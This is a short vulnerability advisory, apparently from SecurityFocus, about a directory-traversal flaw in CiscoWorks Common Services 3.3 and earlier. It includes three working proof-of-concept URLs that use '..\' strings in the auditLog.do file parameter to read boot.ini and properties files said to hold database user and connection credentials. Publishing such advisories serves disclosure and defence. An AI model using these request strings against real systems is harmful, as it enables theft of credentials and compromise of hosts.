source: https://www.securityfocus.com/bid/47905/info CiscoWorks Common Services is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input. A remote attacker could exploit this vulnerability using directory-traversal strings (such as '../') to gain access to arbitrary files on the targeted system. This may result in the disclosure of sensitive information or lead to a complete compromise of the affected computer. This issue is being monitored by Cisco Bug ID CSCto35577. CiscoWorks Common Services 3.3 and prior are vulnerable. http://www.example.com/cwhp/auditLog.do?file=..\..\..\..\..\..\..\boot.ini cmfDBA user database info: http://www.example.com/cwhp/auditLog.do?file=..\..\..\..\..\..\..\Program Files\CSCOpx\MDC\Tomcat\webapps\triveni\WEB-INF\classes\schedule.properties DB connection info for all databases: http://www.example.com/cwhp/auditLog.do?file=..\..\..\..\..\..\..\Program Files\CSCOpx\lib\classpath\com\cisco\nm\cmf\dbservice2\DBServer.properties Note: When reading large files such as this file, ensure the row limit is adjusted to 500 for example.
